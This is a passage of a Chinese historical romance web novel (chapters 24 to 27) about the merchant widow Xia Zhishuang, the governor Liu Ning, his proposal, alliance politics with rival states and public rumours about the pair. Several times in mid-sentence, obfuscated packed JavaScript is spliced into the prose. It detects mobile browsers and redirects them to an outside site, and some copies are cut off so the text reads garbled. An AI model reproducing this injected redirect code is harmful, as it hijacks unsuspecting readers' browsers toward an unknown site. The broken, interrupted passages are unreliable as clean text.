两边有来有回,彼此亲近了不少,约好以名字相称。 氛围铺垫得差不多了,许英慈直述今天的来意。 “说来不巧,姐姐和兄长遥隔千里,好容易昨儿能会面,偏我不知情,让兄长帮我转交点心给聂大哥,不小心阻挠了你们的会面,真是对不住你们了。” 这段话既大方得体,又解释清了昨天的误会。 夏知霜昨晚听刘宁说过这事了,当即表示不介意。 仔细想想,那时许英慈是想到聂桓才面露羞意,而且还是大庭广众下让人帮忙转交礼物给心上人,她更加不好意思了,这才脸颊通红。 他们的对话也没有过界的地方,除了那句表明他们曾有过婚约的“指腹裁襟”让她吃了飞醋…… 夏知霜觉得因为这事就大吃飞醋很不好意思,忙转移话题,关心起许英慈的终身大事。 “听季安说,聂将军仍不愿意对你坦诚相待?” 许英慈黯然点头。 都说女追男隔层纱,偏到她这里是隔座山。 本来之前聂桓已承认对她动情,岂料祸事接二连三,而今刘宁家破人亡,他们许家也只剩兄妹二人,聂桓就退缩了。 这也不能全怪他。 观东现在百废待举,刘家和许家这两个大族联姻能安定人心,刘宁的声誉和威望会更上一层楼,能把利益最大化。 诚然,聂桓是个忠君爱国、重情重义的好男儿,但正是这一点让他把许英慈推远了。 他一是为大局着想,刘、许两家结合,能让观东四郡齐心协力,尽快恢复昔日的安稳繁荣,避免不安分的势力再起战事,百姓少受点苦难。 二是不忍和羞愧,刘宁已经孑然一身,他不忍再从刘宁身边夺走仅剩的未婚妻。 再者,当时刘宁接任总督之位是板上钉钉的事实,许英慈便是未来的主母,情况不可同日而语,为人下臣者,觊觎君妻视为不忠不义之徒,他怎能不羞愧。 乃至后面刘宁和许英慈正式解除了婚约,聂桓也认为自己是罪因之一,何况退婚的消息尚未对外公开,他不敢轻易接受许英慈的追求,甚至有点躲着她走。 夏知霜客观评价:“真是个别扭的男人。” 许英慈遇到知音般猛点头:“他就是太死板了,愚忠的烂好人,活脱脱一块笨木头!我和兄长只是解除婚约,又不是老死不相往来,我们两家关系还是很紧密的,哪里就会动摇人心了,他就爱瞎想!” 她痛快骂完后,又不忍住为他说好话, “他这人也就是这一点不好,其实他很细心,总是第一个发现我情绪不对给予安慰。他还很可靠,要不是有他护佑,我在战乱中不知死过多少回……” 她没能说下去,夏知霜和彩玉笑盈盈聆听,柔和的目光里全是调侃之意,她的脸就红了。 夏知霜发现她很容易害羞,故意逗她:“哦?这么说来,你的聂大哥真是天底下第一好郎君了。” “夏姐姐就别取笑我了,”许英慈单手给自己扇风降温,转头回敬她道,“你和兄长才是天造地设的一对,你是不知道,我有一回撞见他反复看你的信,他脸上的笑是我从未见过的温柔。” 她故意抖抖鸡皮疙瘩,取笑他们腻歪。 夏知霜淡然回道:“他本性就很温柔。” 许英慈没能取笑回去有点失望,她没心没肺惯了,很快捧着脑袋兴奋地问:“敢问姐姐跟兄长如何相知相识?我每回问兄长,他总说不上几句就被人唤走了。” 夏知霜挺喜欢她大方不扭捏的个性,再说她也不是外人,就将她和刘宁的事简要概述。 说来也感慨,倘若那一天两人不是在落难中因缘际会,一个乡绅之媳,一个总督之子,无论如何都扯不上关系。 许英慈心疼她的遭遇,不无唏嘘:“真是一段奇缘,好在如今苦尽甘来了。有夏姐姐在身边伴着,兄长许能摆脱心病了吧。” 夏知霜很是讶异,从没听说刘宁有什么心病,回想他写的信和见面时他的反应,无从查找端倪啊。 她忙问:“英慈,你兄长的心病是怎么一回事?” 许英慈比她还茫然。 “我也不是很清楚,只听聂大哥偶然提过一次,追问他也不肯多言,依稀猜测兄长是两年前开始患上心病的。” 两年前正是讨伐叛军收复失地之时。 许英慈想起了什么,恍然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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仁善是他的优点,过于仁善是他的缺点。 她觉得他的缺点可爱又可怜。 送走许英慈,夏知霜想好一箩筐宽慰刘宁的话,再次见他的时候,她却什么都说不出口了。 刘宁不停给她布菜:“这家店做的芙蓉鸡片味道极好,这道烟熏笋是特色,雪花蟹斗也不错。” 他一口气报了七八道菜名,报到哪个菜筷子往哪夹,没多久她的碗就冒尖了。 刘宁见她心不在焉,有一筷没一筷吃着,不复往日用膳时欢喜雀跃的模样,笑问:“怎么了?一直盯着我,难道光看就能吃饱不成。” 夏知霜心里认定他是个患有战后心理创伤的小可怜,但有些事明面上说出来未免不美,谁心底没点不想示人的阴霾呢。 他接受了她的种种不完美,她也会连同他不完美的部分一起爱着。 她笑眯眯地答:“对啊,督宪大人秀色可餐,小女子光是看着就饱腹一餐了。” 刘宁筷子一顿,摇头失笑:“你呀你……” 表面上是无奈的淡定表情,他脸上却腾起可疑的红云。 夏知霜仿佛发现新大陆,猛瞧个新奇。 谁知她越看,刘宁强撑镇定的脸就愈发红了,随后假装很热,姿势很帅地展开折扇扇风。 她囧了。 喂喂喂,你们兄妹俩怎么都是高攻低防啊! 25. 第 25 章 两人都不是太过腻歪的性子,酒足饭饱就开始谈论正事。 关于招募人才的计划,他们有不同的见解。 夏知霜觉得重金之下必有勇夫,只要砸的钱够多,不怕人才不汇到观东。 刘宁认为不全对,捉襟见肘的人愿意为五斗米折腰,衣食无忧的人不会。 他见多许多能人异士,他们大多傲气,本身家境殷实的人还会视金钱为粪土,光是以利作饵翘不动他们。 夏知霜不耻下问:“那要如何吊着那些傲骨铮铮的高人呢?” 刘宁好整以暇,扇尖在桌上写了个“名”字。 “凡是朱门绣户,又怀有真才实学之人,十有八九喜好名声,这是比金钱更有诱惑力的东西。” 夏知霜犯难了。 她只给得起金钱,虽说可以画大饼:等你们在天险之地铺好路、架好桥,莫说腰缠万贯,扬名立万都不在话下! 可是会有多少人信她呢?纵然她是新一任的观淇首富,说十句话都不如官府说一句顶用。 保障名声和前途这种事,还得官府出示公告才有效。 问题出在这里。 身为主事之人的夏知霜无官无职,凭什么能让官府出公函,出了公函又有多少人会听信? 刘宁是可以下令让丰瑛郡的大小官员给她行事方便,但如同陈家的刁奴爱欺上瞒下一样,官场有官场的规则。 浸淫官场的人个个是老泥鳅,有功则揽、有过就推,能做到大公无私的人还是少数,大多数官员把富户当肥猪宰,陈家首当其冲,不然陈父密室中也不会有那么多账本。 如果出钱能办成实事倒还好,怕的是千金散去也办不成事。 到时丰瑛郡的官员阳奉阴违,运用春秋笔法推卸责任的话,刘宁也拿不出理法去处罚,她凭白忙活一场。 以上是设想中最坏的结果,并非百分百会发生,也不是不可能不发生。 夏知霜总结:“还是我人微言轻,师出无名。”叹完又问,“那此事交由你出面去做,如何?” 她出钱,他出权,堂堂总督亲自出马,底下的官员总不敢轻慢了吧。这事若成,绝对会给他的政绩添光,两全其美啊。 她二话不说就把会扬名四海的机会送给他,刘宁很感动,随后婉拒。 手头上的公务已经够他忙得焦头烂额,实是分身乏术。 以四郡父母官的角度去衡量,战后重建才是第一要事,还要忙于周旋各大世族,以及应对随时会来的天灾人祸,远的不说,观江每到汛期就有洪灾的风险,当务之急是要做好防洪的措施。 等他腾出手来办这事,恐怕得几年之后了。 身份不同,思想高度就不同。 对夏知霜来说,这个计划是她的头等大事,在刘宁那里只是锦上添花的好事,主次完全颠倒。 夏知霜不禁颓然,寻思难道真要再等几年。 刘宁目光落在她娇美的容颜上,眸色转深:“有个法子好办些。” “洗耳恭听。” “若你以总督夫人之名主事,等同我出面,定无人敢怠慢你。” “……”这算不算求婚啊? 他语气如常,倒让人听不懂了。 夏知霜本是随性地托腮,闻言慢慢坐直了身子。 静默片刻,她偷偷观察对方的神色,哪知他恰好含笑望来,黏糊糊的视线触到一起,竟难分难舍起来。 眼神能表达很多意思,她在对方渐渐灼热的目光中面色赧红,明白了答案。 刘宁亦不如表现出来的那般沉着,竹叶扇心不在焉地轻摇。 敲门声打消了二人的害臊。 来人是刘宁身边的侍从之一杜川,杜川看了眼夏知霜,略作犹豫:“主君……” 夏知霜意会了,他们定是有私密的紧急公事,她正想主动避嫌,腾出地方给他们谈话,刘宁先发话了。 “无需避讳,直说无碍。” 杜川低头呈上文书,口上简单总结:“高淙有意起兵邻地中熙二郡,特遣使者来交好,军师请主君回衙门议事。” 刘宁打开折子,他没避讳夏知霜,她在旁边得见了上面的字迹。 书上是鲁元的小篆,跟杜川所言不差。 高淙原与观东不睦,刘家事变时,若非淇南平王借兵给刘宁,表明观淇九地的盟约牢不可破,康王必会带兵攻来。 康王野心勃勃,这几年在观东捞不着便宜,转头就想找另一个也自立为王的中熙原总督的麻烦去了,以防观东趁火打劫,特地休书来示好。 鲁元就是来叫他回去商议,探讨究竟要不要顺坡下驴,跟高淙修好。 夏知霜体贴表示:“你自忙去,不用顾及我。” “听说英慈来看你了,她深知里兴有何趣玩,你若得闲,可随她同去,”刘宁看向杜川,“今日起,由你护卫夏姑娘的周全。” 夏知霜颔首,杜川领命。 刘宁匆匆而去。 不知是否他跟许英慈打过招呼的缘故,许英慈每天都来找她解闷。 两个姑娘高高兴兴结伴出行,晴时泛舟采莲,阴天去郊外跑马,雨中到茶楼品茗听戏。 夏知霜在与她闲谈中,收获了不少刘家的信息。 刘氏一族的下属分家臣和外臣。 外臣分文官和武将。 文官以鲁元为首的一帮幕僚,往下是四个郡的治理官员,与朝廷断联后,多由举荐和考核两个方式注入新鲜血液。 武将如聂桓和许英慈之兄许睿,他们是刘宁最得力的臂助。 此外,还有渐渐退居幕后的段鸣老将军,段鸣之子段敖,老总督的旧将汪晁等人,他们有的出自世族,有的草根出身,各方势力错综复杂。 家臣中,她有过一面之缘的傅杭主文,负责收发文书等职务,她理解为秘书的工作。 现今跟在她身边保护的杜川主武,统领刘氏的暗卫组织,也是骆怡的顶头上司,形同保镖体系。 没见过面的郭良乃杏林之家,医术精妙,其与族人皆为刘氏尽心尽力,换句话说就是私人医生团队。 全部家臣不止于此,不过别的都敌不过这三家得势。 夏知霜暗暗记下,知晓杜川的身份后,对他客客气气。 刘宁忙归忙,每天总能抽会见她一面。 有时同她吃顿饭,有时陪她喝盏茶,基本上说不了几句话就被打断,不是这个找他,就是那个找他。 这日,两人相约小酌,碰过三杯酒,尚未行过酒令,她就熟练的在心中默数。 刘宁若有所觉,笑说:“今日事不忙,我能待久些。” 夏知霜笑而不语,倒数到第五下,果有人请见,她抛给对面一个“你看吧”的眼神。 刘宁无奈宣人进来。 傅杭向刘宁行全礼,对夏知霜行半礼,才道:“主君,淇南有使人到,暂居驿馆等候召见。” “淇使可有表露来意?” “这倒没有……” 傅杭望了夏知霜一眼,欲言又止,引来上座二人的注意。 刘宁道:“但说无妨。” 傅杭摆出一副“这可是您要我说的,跟属下可没关系啊”的无辜表情。 “淇使带了几箱财物和十个貌美的女子,说是献与主君,他求见的仪态较为松弛,料着不是什么大事。” 语毕,茶室安静,很安静。 夏知霜挑眉斜睨,刘宁目光闪烁。 傅杭还等着回话,刘宁清了清嗓子:“既非急事,你且先去,按照惯例招待淇使。” 傅杭躬身退去。 夏知霜美目半眯,极尽调侃:“督宪大人怎好让使君久等?您公事缠身,小女子不敢多留。” 刘宁额上冒冷汗:“定是平王得知高淙想跟观东结盟,派人前来打探消息。他送的礼物我向来留物不留人,纵然留物,也会同礼归还。” 看他着急解释的样子,夏知霜噗嗤笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16511148|183263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 她没有真的生气,他贵为四郡之首,少不了被各方势力进献美人去讨好,这种没头没尾的醋哪里吃得完。 ……主要是许英慈爆料过他从不收美女。 夏知霜问起正事:“高淙那边的回复定下来了么?” 刘宁没有直接回答,反问她:“依你之见,该如何回复?” 事关严肃的政治问题,她目光一顿,沉默不答。 这种话题那么敏感,她真的能随意发表见解么?她不懂。 再者,她不清楚刘宁究竟是倾向于她认真回答,做个能跟他探讨方方面面的红颜知己,还是希望她远离军务政事,做个贤良淑德的传统女子。 思考数息,夏知霜很快决断,既然她同在的时候,他让杜川和傅杭直接汇报要紧的公事,文书也大方让她阅览,那就没什么好顾虑的。 她事先促狭笑言:“我久居深闺,见识浅薄,若是有说错的地方,还请总督大人不怪。” 刘宁含笑回望,眼神鼓励她:“你我何须见外,在下恭听高见。” 她摩挲下巴深思:“观东刚结束战事,人疲马乏,刃卷粮稀,需要时间休养生息。高淙狼贪虎视,厉兵秣马,只要他们的刀刃不向着我们,暂时与高淙结盟看起来是个不错的选择。” 刘宁先是认可地点点头,再耐心指正。 “此计虽好,却后患无穷。高淙一贯是我等劲敌,对方今时表态交好是不得已而为之,倘若与之结盟,待其无后顾之忧吞并中熙二郡,将来必成祸患,盟约如同废纸。” 故而观东不会与其结盟,让其兵力分一半去攻打中熙,分一半陈兵边境堤防观东偷袭,届时高淙跟中熙的兵力便是势均力敌,短时间内分不出胜负,彼此消耗。 如果高淙见与观东结盟不成,心生忌惮,取消进兵中熙的计划,对观东也不是坏事。 他号准了康王的脉,不管高淙打不打中熙,观东四郡照样能休养生息。 两人都是主张缓兵之计,区别在于,她所言的顺势结盟,会让观东沦为被动的一方,他所言的静观其变,使得我方始终掌握主动权。 夏知霜本身不了解各地的复杂交涉,接触政治更是头一次,此番得他深度剖析,犹如醍醐灌顶。 她疑惑再问:“如若高淙记恨我们拒绝结盟,举兵来犯呢?” “不会,”刘宁斩钉截铁,“先不提现在观东的兵力足够抵御高淙,旦看今日淇南来使,也知高淙对战的不仅是观东,而是观淇九地。” 从前高淙敢攻打观东,挑的都是淇南攻打别地,无暇顾及盟友的时机,眼下平王刚撤出前线,有的是时间援助观东。 高淙三郡打观东四郡尚且没有把握,这下跟九个郡干起来,简直是自取灭亡。 夏知霜捋清思路,豁然开朗。 刘宁观她有政事上的慧性,继续详细分析。 淇南好战,没了朝廷管束后,平王乐衷于开疆扩土,跟周边大小战事不断。 他们之所以年年放心出征,全仰赖观东替他们盯梢边防,不用担心第三方来浑水摸鱼。 双方只有唯一一个盟友的时候,才会互相依靠对方。 可想而知,淇南肯定不乐意观东跟高淙达成盟约。 一旦观东有了别的盟友,淇南该担心观东会不会跟高淙联合反攻他们了,到时观淇九地的盟约名存实亡,迟早会因为利益而反目成仇。 刘宁不希望观东跟淇南反目,平王也不愿破环当前的平衡。 乱世当中,维护一时和平十分不易。 夏知霜吸收完这些信息后,从中学到了许多东西。 她发觉自己意外的对军政感兴趣,刘宁有空的时候,她请教许多局势上的问题,他不在时,她就向许英慈打听。 许英慈对这些不感兴趣,知之有限,她转头去问傅杭,傅杭得了刘宁的命令,自是对她有问必答。 时光不知不觉流失,转眼到她留在里兴的最后一天。 26. 第 26 章 这天恰好是重阳节,刘宁特地空出一天好好陪她四处转转。 她跟许英慈把城内的地方玩了个遍,他就带她去郊外一处景色优美的地方放纸鸢,夏知霜投桃报李,邀请许英慈同游。 刘宁见此,诓来聂桓陪同。 三个姑娘亲亲热热地挤在同一辆马车上。 轿厢内,许英慈抱着夏知霜的手臂撒娇:“多亏姐姐想着我,不然我都不知道下回见聂大哥是什么时候了。” 夏知霜低眉浅笑:“季安的妹妹就是我的妹妹,我当然盼着你好了。” 许英慈听说了刘宁向她求婚的事,一脸暧昧:“真不愧是我的好嫂子。” 夏知霜顿觉尴尬,这声“嫂子”应下不是,不应也不是,惹得许英慈和坐对面的彩玉直偷乐。 “请嫂子放心,我定会拖住聂大哥让你和兄长独处,以解你们的相思之苦,”许英慈朝彩玉扬眉,“玉姐姐你看如何?” 彩玉很上道:“我不喜人多,等会自己去转转。” 夏知霜拿她们的打趣没辙,叉了块瓜果一人喂一块堵住嘴,以免她们又说什么让人害羞的话来。 到了目的地,姑娘们都醉心优美的风景。 一望无际的绿茵上,各色不知名的鲜花成群连片,蜿蜒水脉穿行其中,水草丰盈,碧波洸朗,澄澈如镜面的溪流倒映明媚晴空。 许英慈开玩笑说:“要不是沾了夏姐姐的光,这么好的地方,某个人还不知道要收藏多久呢。” 刘宁用扇柄轻敲她脑袋:“你兄长我也是才发现不久。” 许英慈立刻喊痛,嚷嚷着要离他远一点,拖走在他们身后充当背景板的聂桓,后边跟着提纸鸢的仆役。 聂桓频频回头看他们,脸上写着“救救我”三个字。 几人移目,装作没看见。 然后彩玉以赏景散心为由,带上丫头和护卫到另一边去了。 众人兵分三路,各找各的乐趣。 纸鸢升空,夏知霜手执线辘,刘宁在旁边指点该怎样控制力道。 随行的暗卫没闲着,拿运来的材料各司其职,有的夯地基,有的抬木屋的框架,有的化身木匠做桌凳。 比起放纸鸢,他们在那头熟练的展示才能更让夏知霜感兴趣。 渐渐地,她的目光大多落在拔地而起的木屋上。 令人意外的是,暗卫首领杜川颇有艺术造诣,他一个平时杀人不眨眼的武夫,快乐地指挥下属泼洒颜料给木屋绘画。 夏知霜惊叹:“难道你们刘家的暗卫都像你一样,个个多才多艺。” “时势造就,技多不压身,”刘宁把线辘交给仆役,摸着下巴点评,“白鹤的神态稍显死板,其余尚可。” 她作追忆状:“三扬城附近,你曾叫我过去避难的竹屋就是他们建的?” 刘宁道:“不是他们,是前一批暗卫。” 叛军戕害加上几年战乱,当年那一批精锐暗卫如今所剩无几。 他避谈伤心事,转而说:“三扬有位隐居的乐师,于我亦师亦友,我每岁去一趟寻他切磋技艺,若是时间宽裕,我们结伴踏青、跑马和打猎,索性建个竹屋歇脚之用。” 自他上任总督,那位乐师主动疏离,他没再亲自去过竹屋。 后来她也没能用上那个小屋。 夏知霜察觉到他心情转变,换了个话题。 “对了,我来前还说吹曲子给你听,希望得到刘大才子的点评,没想到真来了里兴却找不到机会,这些日子没碰乐器,不知道手生没有。” “怪我,最近公事繁杂,没能抽开身。” 刘宁马上道歉,领她到木屋里喝茶歇息,转念提出一个好主意。 “晚些时候我带你去个好地方,那里很适合吹曲。点评倒不必了,各人吹奏的风格迥然有异,真心喜爱音律的人吹出来的都是好曲子。” “嗯!”夏知霜眉眼带笑,欣然应允。 刘宁挥退下属,给她倒茶,夹点心和果脯。 点心盒是他带来的,他记下了她的喜好,所带都是她爱吃的零嘴。 二人品茗闲谈,不知不觉聊到各地的复杂局势。 许英慈他们回来后,没料到好不容易出来散心一趟,他俩居然还聊这般严肃的话题。 彩玉和聂桓聚精会神旁听,时不时插上几句话,只有许英慈百无聊赖。 许英慈叫人拿来纸笔,时而勾勒外面的风景,时而描屋内的几人。 画好几幅,他们四人还在津津有味聊着时政,她都要犯困了,作势喊饿打断他们没完没了的话题。 于是车队驶回城内,去许英慈推荐的酒楼一同用了顿晚饭,当做夏知霜和彩玉的践行宴。 几人分开后,刘宁携夏知霜去往一段幽静的河岸。 河边的杨柳枝垂悬飘荡,对岸灯火通明,行人熙攘,夜风习习中,从此处看去很有意境,繁华景象尽收眼底。 刘宁比出“请”的姿势,夏知霜轻轻颔首。 二人手持萧笛,默契的同奏《东门之杨》。 笛声高亢,时慕时怨,凄厉悲凉。 箫声低沉,如泣如诉,幽怨沧桑。 词句本身比较短,来回轮词三遍,每次对应的曲调不同,生生把简短的四言诗谱成了一曲仙乐。 对岸听到乐声的人自发聚集,俱都闭目倾听。 曲子步入尾声,城内正是最热闹的时候,天幕绽开缤纷的烟火。 二人放下乐器,仰望空中朵朵绚烂又短暂的烟花,两心受到了触动。 诗歌中的主人公确有其人么?如果是真实存在过的人物,那个人在诗经之外最终有没有等来恋人呢,倘若没有等来,他们的感情难道就如同美丽的烟花一样转瞬即逝么? 答案不得而知。 他们从中学到的,唯有珍惜当下。 刘宁握紧洞箫,轻声道:“我知你才脱离不幸的姻缘,想是不愿那么快谈论婚事,只是,时间不等人。” 夏知霜心头一跳,目光从烟花移向他,预料到他接下来的话。 刘宁回身望去,直视她波光潋滟的美眸,语气不急不躁,可是比往时每一次都认真。 “里兴是不比青阳让你觉得舒适,我会尽我所能让你住得安心,知霜,你愿不愿意到里兴来长居呢?实不相瞒,我不敢妄断今后时势会如何,我只敢承诺,不管发生何事,我以命护你。” 这是她第二次被求婚,不亚于初次经历时的喜悦和激动。 夏知霜扛不住他越来越灼热的视线,害羞地低下头去,感觉到自己的脸烫得吓人,不用看就知道红得厉害。 天际的烟花绽开后即刻消弭,一点痕迹都寻不到了,仿佛适才的绚烂只是南柯一梦。 她迅速恢复冷静,侧过身去:“那么多人对督宪交口称誉,我若搬来里兴,岂非要经常生闷气。” 她上次“生气”便是淇使献来美人之时。 刘宁意会言外之意,含笑睇她,一脸正色的保证:“我从不打诳语,信中向往大雁忠贞亦非假话,我刘宁在此起誓,今生唯你一妻,不论我身在何地,生当复来归,死当长相思。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许氏是当地大族,嫡系虽只剩兄妹二人,但亲戚众多,且多居高位,显赫程度只比刘氏差一头。 刨去家世,许英慈娇俏可人,不缺倾慕她的男子。 夏知霜就听过她抱怨,说别的公子明知她名花有主还上来示好,烦不胜烦。 日后她和刘宁退婚的消息传开,媒人势必闻风而动,如果聂桓再犹豫不决,惹恼做主她婚事的许睿,许睿一气之下将许英慈许配他人,到时就追悔莫及了。 她这番提醒是出于好意,算作答谢许英慈多日的陪伴,期望许英慈能如愿以偿。 聂桓愣了数息,默默对她行了半礼。 夏知霜摸不准他想没想通,反正意思传达到了就行,各人有各人的造化。 车队离开界碑,驶入台开郡。 由于不赶时间,她和彩玉边走边玩,顺道去巡查台开郡的店铺。 回到青阳城已至十月初。 不久,里兴那边公布了刘宁和许英慈退婚的消息,刘宁是观东四郡最受瞩目的人,他的一言一行有无数双眼睛盯着,此事自然让观东炸开了锅。 众人热议两月,又被接二连三的消息砸晕了头。 聂桓和许英慈订婚,令人大跌眼镜。 刘宁公开追求夏知霜,惊掉了无数人的下巴。 夏知霜刚听到消息时,差点被茶水呛死。 我滴个龟龟,身为传闻中的女主角,她怎么是最后一个知情人? 27. 第 27 章 事情的始末据说是如下所述。 刘宁才跟许家解除婚约那会儿,各路叔伯不忍他年至弱冠还孤身一人,纷纷要给他牵线搭桥,千方百计打探出他的择偶标准。 他给出了明确的答案:孝顺、贤惠、知音律和精明强干的女子。 叔伯们愁啊。 每个要求都不罕见,可要四个条件都满足,犹如大海捞针啊。 尽管如此,仍有人源源不断的,给他介绍贤名在外的大家闺秀。 刘宁通通委婉地拒绝了。 直到有一天,有人灵机一动,告诉他丰瑛郡有一位美名远扬的女子完美符合他的条件,此女原名丛贞,现更名为夏知霜。 去年陈家事变闹得沸沸扬扬,督宪大人您日理万机,可能只知其一不知其二,且容小人慢慢道来。 那夏知霜十分孝顺,陈氏夫妇在世的时候,她每天卯时起来做朝食给公婆,午时跪候婆母小憩,亲自给公婆织布裁衣,陈氏夫妇一年到头的鞋底都是她纳的,为了给家人祈福,她日日抄佛经到深夜。 夏氏这些美德,皆是陈母亲口对外宣扬,丰瑛郡凡是有头有脸的夫人,哪个没听过陈母夸赞自家儿媳?那是绝对假不了的。 后来公婆去世,夏氏伤心欲绝,跟随婆母相约赴死,她被幸运救回后,也是听人劝阻要替公婆守住家业,才没再次寻死。 她惭愧未能遵守赴死的约定,舍去本名,让“丛贞”这个姓名随同亡夫和公婆而去,自发守满一年的孝,至今未见再醮之意。 瞧瞧,再也找不到比夏氏更孝顺、更贤惠的人了! 难得的是,夏氏还才华出众。 她为了排解忧思,常常深夜吹奏乐曲,陈府下人和陈记客栈的房客都听过不少,真真是余音绕梁。 其知五音六律,非常符合主君您的择偶观啊。 再且,夏氏一个弱女子支撑陈家门楣那般久,陈记上下管理得妥妥贴贴,还不足以说明她的精明能干? 夏氏只一点不足——嫁过人。 然则,这又不是什么不能忽视的污点,而今她孝期已过,观东的政策本身就鼓励遗孀再醮。 此人又道,前阵子夏氏到里兴行商时,他偶然远远见过一面,惊叹其姿容明艳,与主君您多般配啊。 一个是能歌善舞的美人,一个是能征善战的英雄,再登对不过了! 刘宁听完他的荐词,果然意动了,差人前往丰瑛郡试探美人的意向。 观东的民众听到这里,引发了热烈的讨论。 一派人觉得举荐的人言之有理,云英未嫁的美人,断雁孤鸿的英雄,可不就是天造地设的一对儿嘛。 一派人认为两人门第过于悬殊,不看好这门亲事,肯定有别家更符合总督择偶条件的大家闺秀。 还有一些人不服气,既然总督不在乎妻族门第,嚷嚷着自家闺女、亲戚什么的也符合全部条件,甚至有胆大的人跑到当地衙门自荐…… 一时之间,里兴县的总督署和青阳县的陈府,成了观东四郡的焦点。 世人都在等绯闻中的女主角表态。 夏知霜了解完事件的脉络,艰难咽下茶水,一度怀疑自己听错了。 彩玉信誓旦旦:“错不了,大街小巷传遍了,咱们府外有些探听消息的可疑人,以及今日上午的拜帖就有这么多。” 三个丫鬟举着托盘上前,每个托盘上的帖子摆有两摞,初步估计多达百封。 此前就有很多人下帖邀约,她不喜过多交际,挑了几个不好拒绝的赴约,其他的帖子以孝期素居为由拒绝了。 现在的帖子数量是昔日的十倍。 夏知霜翻了翻帖子的署名,丰瑛郡数得上名号的人家都齐整了,连郡守的夫人都在其列。 友商家眷的态度倒一如往昔,陈家在观淇商户中地位超然,只有别人上赶着巴结她的份,没谁敢甩她脸子。 有趣的是,那些官夫人先前给她下的帖子是通知她过府一叙,比如:某家将举办某宴会,你来不来? 有种“差不多的人家我全请了,不好独独落下你,免得别人在背后数落我拜高踩低区别对待你,总之我已经邀过你了,你自己斟酌来不来哈”的傲慢。 官眷既贪求陈家送上门的厚礼,又看不起陈家一身铜臭。 目下的境况则相反,莫说各个县令夫人殷切请见,连郡守夫人都纡尊降贵想下帖上门拜会。 临阵才磨枪,殊不知船到江心补漏迟。 夏知霜随手丢下帖子:“全推了,就说我俗事缠身,若得闲暇再上门赔罪。” 什么时候得闲由她说了算,所以她们最好识趣点,别有事没事下帖来烦人。 久而久之,就可以推脱说忘了,大家心照不宣,保留彼此的体面。 彩玉犹豫道:“郡守夫人那边也不见?” “不见,只需你亲自回帖即可,”夏知霜斩钉截铁,“其余帖子就让下人代回。” 彩玉有点不赞同,她们势单力薄,若与郡守夫人交好,将来或有助益。 她有心再劝,见夏知霜已经读起了里兴来的信才作罢。 信有两封,她先拆刘宁那份。 刘宁推测道,想必此信抵达青阳城时,关于他们的流言已经铺天盖地了,此为不得已而为之,望她见谅。 自从他解除婚约,高淙私以为又觅得与观东交好的良机,康王打算安排他的女儿嫁到刘家。 淇南安插在高淙的细作将此事传回去,平王就想先下手为强,送其妹到观东来联姻,令观淇九地的关系愈发紧密。 这件事被观东的密探得知,紧急传信回里兴。 刘宁可以随意回绝属臣,可以直接拒绝康王,却不能轻易得罪平王,到时伤了彼此情分撕毁盟约,受罪的只会是观淇的百姓。 军师鲁元便想出这个计策,先坐实刘宁心有所属,一般人不会再这个节骨眼上跳出来棒打鸳鸯,不然结盟不成反结仇了。 若是高淙和淇南还不死心,叫人来探刘宁的口风,他也有个正经由头好拒绝人。 总之,只要把他们二人的流言散播出去了,接下来就好办了。 鲁元借刘宁之口,嘱咐她越是在风口浪尖越是要低调行事,近期最好不见闲杂人等,以免节外生枝。 彩玉听她读了信就明白她方才的决策是对的,更加没意见了。 许英慈的信要轻松得多,字里行间都能感受到她的快活。 那天分别后,聂桓就像开了窍,她退婚刚满月,他就到许家去提亲,快得不可思议。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522431|183263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 许睿气聂桓不识好歹拖了那么久才接受妹妹,本想借故拖一拖聂桓,让他干着急些日子,多吃点追求女方的苦头。 可许英慈好不容易苦尽甘来,才晾着聂桓没几天,就对她哥软磨硬泡,应下了婚事。 然后就是使劲撒糖,讲述小情侣间的趣事。 夏知霜看着都觉得腻歪,寻思这姑娘会不会有点恋爱脑了,她其实更赞同许睿的想法,想多看点聂桓追妻火葬场的走向。 不过,许英慈接下来解释了订婚那么快的另一个因素。 登门说亲的媒人实在太多了,连她日常出行都受到了严重影响,去哪都有人上来截路,早点定下人选早点解脱。 许家都那么多人粘上来,刘家那边就更不用说了。 许英慈还随信送来了之前放纸鸢时作的画。 平心而论,她画技不算好,画中五人的面庞没一个和真人肖似,贵在几人悠游的神态相当传神。 夏知霜很喜欢,当宝贝收藏起来。 这天传唤过丁卯吩咐事宜后,陈府开始闭门谢客,彩玉勒令下人不许在外头乱传话,违者重责。 丁卯喜气洋洋,分外上心地管束底下的掌柜,负手穿行于列队的部下。 